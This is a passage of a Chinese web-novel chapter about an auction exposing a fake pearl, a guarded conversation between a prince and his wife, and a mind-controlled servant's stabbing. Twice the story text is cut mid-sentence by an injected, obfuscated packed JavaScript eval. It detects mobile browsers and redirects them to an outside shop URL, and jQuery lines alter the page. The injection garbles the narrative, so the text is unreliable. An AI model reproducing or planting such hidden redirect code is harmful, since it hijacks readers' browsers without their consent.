“时将军，慎言。”宁鸾没好气瞥了时鸿一眼，声音却轻柔似水，“望春楼行事，向来光明磊落，在京州经营多年，将军放心便是。” 时鸿却已是面如土色。他猛然起身，惊恐看着地上摔得粉碎的青花缠枝莲纹杯盖，又看看一脸淡然，悠闲喝茶的宁鸾，顿时只觉天崩地裂。 “这这这……！” 这茶盏得多贵啊！拍卖才刚开始，他就已将全部身家赔在这了！ “王爷！”时鸿心如死灰，没想到一张小小的请帖给他带来了灭顶之灾。他绝望地看向程慎之，高墙般壮硕的身躯竟显出几分凄苦无依： “咱们同僚一场，若是今晚我被扣在望春楼，求您给我爹带个话，就说我在这儿洗盘子一切安好！吃得饱睡得香……” 程慎之：“……” 宁鸾：“……” 宁鸾揉了揉胀痛的太阳穴，想不明白青霜那般通透的姑娘，怎么偏偏就看上这个呆子。 见时鸿急得像热锅上的蚂蚁，程慎之也有些头痛，他试图开口： “鸿兄。”程慎之指尖掠过桌上另一只杯子，“你仔细看看，这不过是民窑仿制的……” “将军不必紧张。”宁鸾脸上挂出一丝笑意，打断道，“今日拜将军所赐，来拍卖会一观已是幸事，这些零碎开销，自然由镇南王府承担。” 她侧过脸看向程慎之，和善道：“慎之，你觉得呢？” “那是自然。”程慎之看宁鸾露出笑容，再顾不上其他。“时将军享受拍卖会便是，这些小物不足挂齿。” 时鸿松了一口气，正欲扭头看向台上拍品，台下突然爆发出一阵骚动。 “这根本不是避水珠！”一位白袍人猛然起身，直指拍卖台上黑色绒布中的蓝色宝珠。 “名声在外的望春楼，竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一旁侍卫面面相觑，手中兵刃举起又放下。有贵宾擅闯拍卖台，拦是不拦？怎么拦？ 正当侍卫们踌躇不前时，面蒙黑纱的青霜从幕后绕出。她干净利落吩咐几句，稳如泰山。 侍卫们见是大总管亲临，顿时如释重负，纷纷收刀退至两旁。 青霜顿足，忍不住朝天字号包厢的方向远远一望，随即果断转身，隐没在台后的重重帷幕间。 “你族祭坛供奉的，确实是避水珠无疑。”台上，程慎之手中宝剑已然出鞘，剑花一挑，剑尖正精准刺中绒布上那淡蓝宝珠。 “咔——” 细微的碎裂声响起，宝珠表面瞬间碎开如蛛网般的裂痕，随着纹路蔓延，那外层琉璃竟一片片碎落，内里真正的宝珠初显真容！ 众人凝神细看，只见展台之中，小了一圈的宝珠通透清澈，珠内果真似有活水流转。 随着光线变换，整颗珠子流光溢彩，波光粼粼，正是那避水珠的模样！ “这……”那白袍人脸色骤变，额间渗出冷汗。他颤抖指向宝珠，“可避水珠只有一颗，祭坛上分明……” 程慎之手腕轻转，玄烈剑入鞘。他冷冷开口： “避水珠并非只有你族一颗，不过隐藏在千万琉璃珠中，众人不知罢了。况且，集万颗琉璃珠方得一颗避水珠，说是稀世珍宝，倒也不为过了。” “继续吧。”程慎之对着台上的拍卖官略一点头，随即脚尖轻点，轻功如燕般腾身，不过几瞬便回到天字房雅间里。 宁鸾已然从最初的震惊中平复下来，她神情复杂地看着从观景台翻进来的程慎之，半晌才张口。 “你……” 21. 雀起阴霾 台下突然爆发出惊呼，方才中断的竞拍再度掀起热潮，一时间叫价声此起彼伏，比开场时更加激烈。 时鸿瞪大双眼，像是看怪物一般，盯着程慎之从观景台翻身进来。他神情里写满了佩服，仿佛下一刻就要五体投地，给眼前的镇南王爷行个大礼。 只闻台中几声锤响，那枚避水珠以三千两黄金的高价成功售出。 “我滴乖乖，这小珠子卖了这么贵！”时鸿拍着胸口直喘气，他几步走到观景台前扒住护栏，鼻尖儿几乎顶上那金色鲛纱。 见那劈开的避水珠流光溢彩，他恨不得将眼珠子都瞪出来，直至下一个拍品登场，这才恋恋不舍地收回目光。 程慎之早已自顾落座，执壶为二人续满热茶。他侧目看向宁鸾，见她手持画扇轻摇，方才紧绷的肩线此刻已然放松，顿时也跟着松了口气。 宁鸾面上不显，心中却似那浪潮波澜起伏。 望春楼金字招牌，容不得半分瑕疵。 拍卖行精挑细选的拍品，品质上向来无可挑剔。能进望春楼拍卖会的鉴定师，个个都经由宁鸾亲自把关，绝无可能将寻常琉璃珠错认避水珠。 若今日任由事态发展，闹出拍品以假乱真的传言，望春楼多年积累的声誉必将毁于一旦，往后再想树立威信，那当真是难如登天。 宁鸾轻轻侧头，瞥见程慎之端茶细品，神色淡然如常，心底闪过复杂情绪。 她原打算亲自出面，以天字房贵宾的身份出面周旋。 虽不知避水珠与琉璃珠之间的渊源，但凭借话术手段，平息今日风波也并非难事。 只是平日里不声不响的镇南王妃，此刻竟在拍卖行抛头露面，侃侃而谈，一来对她掩藏身份不利。其次，对于镇南王府而言，也太过招摇了。 今日一事，若非拍卖行鉴定师疏忽，未及时禀明避水珠由来，便是被有心人做局，刻意扰乱望春楼的名声。 望春楼声势日渐浩大，暗处不知多少人眼馋心热，就等着拿捏住望春楼的把柄，借势取而代之。 今日一事，定要彻查。 宁鸾正垂眸思索，却突觉一道目光灼灼地落在脸上。她猛然侧头，正好对上程慎之深邃的眼眸。 程慎之剑眉轻佻，漆黑瞳孔中映着她清晰的面庞。忽然与宁鸾对视上，他眼底竟闪过一丝不易察觉的慌乱。 “今日，你不开心？” “今日……多谢你。” 二人同时开口，话音未落，竟又同时侧过脸去，不约而同看向角落的时鸿。 时鸿被这二人莫名其妙的举动弄得一头雾水，“嗯？” 宁鸾扑哧一笑，抬眼正视程慎之，正色道，“多谢你方才解围，那珠子与我宁家，确实有些渊源。” 虽不确定是否自作多情，但宁鸾总觉得，若非自己先下意识流露出在意，以程慎之往日里淡漠的性子，断不会插手管这闲事。 于公于私，这一声道谢都是应当。 “原来如此。”程慎之坦然一笑，“那你现在……心里可还好吗？” 他垂眸，睫毛在眼睑落下阴影，勉强掩盖住眼底的情绪。“自我从南部归来后，总觉得，你在府中过得并不开心。” “是我错做了什么吗？”茶盏被他搁在案桌上，落下一声脆响。听出宁鸾话中的歉意，程慎之声音不自觉放软放轻，到最后，竟带上几分小心翼翼： “还是说，我的存在本身，便是你不悦的根源？” 宁鸾一怔，神情难得几分恍惚，却听程慎之又忐忑道： “你若是想和离，我……” 程慎之声音低沉，喉中似被方才的茶水哽住，后半句话竟再难吐出来。 宁鸾还未及细想，指尖已先一步做出反应。她轻轻拢住程慎之搁在桌案的手，脸上扬起她惯用的温和笑容，眼睫轻眨，嗓音柔似春风： “怎么会呢，慎之归来，是我求之不得。” 话音一顿，宁鸾才觉察触手处温凉如玉，带着几分冒昧。思及至此，她摸着烧红碳火似的，将手收回。 “不过是入夏后诸事繁杂，一时难以周全罢了。”她移开目光，喃喃道：“并不为别的。” 这话轻得像是半山的薄雾，转瞬即逝便散了。 程慎之从耳尖一路红进交错的衣领，他掩饰似的轻咳两声，指腹却不自觉地摸索方才被她触碰的位置。 一时没了声响。 …… 镇南王府。 白挽独坐在院落石凳上，指尖无意识敲击着青石椅面。 她脑中反复默背慕达莎教她的口诀，廊前的描花宫灯散发着暖光，将她的影子映得扭曲。 那日放出的信鸽，带回了画着红色曼陀罗的纸条，这是他们约定的暗号，对方答应了她的会面。 昨夜，她辗转难眠，却在黎明时分强打精神。她躺在卧榻上，眼底闪过异样的光彩。 天光微亮，白挽悄然离府，没惊动任何人。清晨的茶楼静得出奇，大堂空空唯有小二洒扫。白挽绕进雅间内，慕达莎斜倚在窗台前，撑着手看向窗外。 这雅间的位置恰到好处。虽是临街，却也并不喧哗，既能俯瞰街景，又不易被他人窥探旁听。 慕达莎并未裹异族商人穿的白袍，而是一身坠着金银铃铛的异族服饰。举手抬足下，纤细的蜜色腰肢在铃链间若隐若现，更显出几分狂野来。 “终于来了。”慕达莎红唇轻启，眼尾用金粉勾勒出极具异域风情的魅色，“我还以为，你要放弃这难得的机会了。” 白挽几乎是扑到桌前，茶水沾湿了她胸前的衣带，她却并不在意，只迫不及待开口：“你说过，你有办法让他的心中只有我。” 白挽紧握双拳，眼中升腾着高涨的火焰，“现在我就要知道那个方法！” 慕达莎单手托脸，唇齿开合间发出清脆的笑声，“考虑了这么久，你终究选了最对的路。毕竟，终究我们才是同类。” 白挽只见慕达莎手腕翻转，眼花一瞬，一个装脂粉用的鎏金小盒便出现在她的掌心。 慕达莎眉角轻佻，抬手勾开盒盖，一股浓烈异香扑面而来。盒中盛放着如血般凝固的膏体。慕达莎轻眯双眼，唇齿微动，用指腹晕开盒中膏体，那香气顿时更加浓烈起来。 “看着吧。” 慕达莎忽然拉开雅间房门，走廊里送茶的小厮闻声回头，“客官？” 那小厮提壶上前，尚隔着几步，慕达莎猛然抬指，将香气送向他面前，低声如吟唱道：“你愿意为我做任何事，对吗？” 那小厮下意识抬眼，与她对视的刹那眼神涣散，手中茶壶“咣当”一声砸落在地。 慕达莎莲步轻移，腰肢摇摆间，金色的铃铛发出沙沙的响声。如蛇蝎般的女人轻缓抬手，指尖拂过小厮青涩的脸颊。 那小厮呆滞的点头，眼中倒映着慕达莎妖异的面容，恍然间竟将她奉为神明。 “去吧……好孩子，看看那掌柜，去做你该做的事情吧。”慕达莎凑到那小厮耳边，吐气如兰。轻声细语间，像吐信的毒蛇缓慢缠绕，在最脆弱的脖颈处注入致命的毒。 那小厮像是得了令般，本是晦暗的瞳孔中突然有了阴鸷的神采。 他嘴角拉出一个狰狞的笑，不管脚边落地的铜壶，转身便跌跌撞撞冲下楼去。 白挽正在屋内看得目瞪口呆，忽闻楼下一声惊叫，忙冲出门向楼下大堂看去。 慕达莎双手抱胸，满目得意，信步随她走到二楼的楼梯拐角，撇眼向下看去。 只见那小厮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576081|187118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手握剪刀，脸上带着诡异的狞笑，再次刺进那掌柜的胸口。柜台瞬间血色漫天，鲜血喷溅到一旁的账目上，晕出触目惊心的红梅。 掌柜满脸惊恐，连连互救，却已是支撑不起，颤抖着半跪倒地。那小厮恍若未见，手握剪刀立在原地，恍若怔然。 刚进门的散客亦是尖叫不断，纷纷奔涌逃出铺门，引得街上一阵混乱。 白挽眼见此情此景，不由倒吸一口凉气，她抬手捂住双唇，眼中却迸发病态而渴望的光。 她不是没见过血，可未曾想过会以这种方式再现。 人心，竟是如此轻易就被操控。 她看向慕达莎，方才还千娇百媚的美人蛇，此刻正面无表情地打量这一切。 白挽打了个寒颤，身体却不由自主地前倾，声音因兴奋而颤抖： “教我……快教我！” 她仿佛已经看见程慎之那双深邃的眼眸中，唯独映着她一人的痴情模样。 …… 铜雀烛台的灯火逐渐暗淡，拍卖会上的喧嚣气氛如潮水般退去。 时鸿几人跟随着熙熙攘攘的人群，缓步走出拍卖会场。珍宝阁内还剩零星宾客，不死心的在展柜间徘徊寻觅，似盼能寻得意外之喜。 夜色沉沉，王府的马车早已静候在望春楼外。送别时鸿后，程慎之和宁鸾在车厢之内并肩而坐。二人坐姿端正疏离，一时再无别话。 马车驶离了闹市，远离了喧嚣，拐进一条狭窄的小巷。四周只剩车轮碾过石板的轻微声响，在沉寂的夜里显得分外清晰。 “那支镶红宝石的鸾鸟金簪，你分明喜欢。”程慎之无意识捻着袖口花纹，忽然开口，“为何不让我继续加价？” 宁鸾默了一瞬，偏头望向车窗外晃动的帘隙，“价抬得太高，反而失了本来的意味。” 车帘晃动，漏进街坊悬挂的朦胧光亮。不知怎的，宁鸾竟想起那日在镇南王府门外惊鸿一瞥，纱轿被风吹得扬起，异族美人立于轿前，清丽出尘。 而程慎之立在一旁，眉目间若有若无的温柔，刺得她眼底发酸。 精心订制的小轿，专人挑选的服饰……若只为报恩，又何必如此张扬？ 更何况，册封镇南王后，圣上所赐的金银，足以在京州另置宅院，安置十个白挽也绰绰有余。又何必非要将人接入府中，朝夕相对？ 终究，是因为在意吧。 正因放在心上，才要如此高调地迎她回来。正因放在心上，才会对她的去留这般费心。 宁鸾自知钻了牛角尖，毕竟望春楼的基业尚可凭她一己之力挣来，沙场上的瞬息万变、刀枪无眼，却只能听天由命。 白挽父女的救命之恩重于泰山，便是如何高调迎接也不为过。 程慎之能活着，已让她觉得如释重负。可真当这人就在眼前，她又不敢将真心轻易捧出，随意任人肆意践踏。 白挽，白挽……？ 他们两人之间，何止相隔一个白挽。 他们的姻缘，本就是皇权臣子之间的博弈。 待他日，程慎之不再需要朝中支持，她也对丞相府大仇得报，两人再无束缚，这段婚姻也自然该迎来终结之时。 到那时，不管白挽是入主正院，还是另起府邸，都与她宁鸾再无干系。 宁鸾控制不住地翻滚思绪，只有想到望春楼能让她安心几分。 “这个，送你。” 程慎之丝毫未察觉她心中的波涛汹涌。他犹豫再三，终是从怀中掏出一只温润的锦盒。蜀锦盒面上绣着金鸾朝凤的图案，在微光下折射出独有的光辉，华美异常。 “我觉得，它很适合你。” 他动作带着几分迟疑，像是终于鼓足了勇气，才那方锦盒缓缓托至宁鸾面前。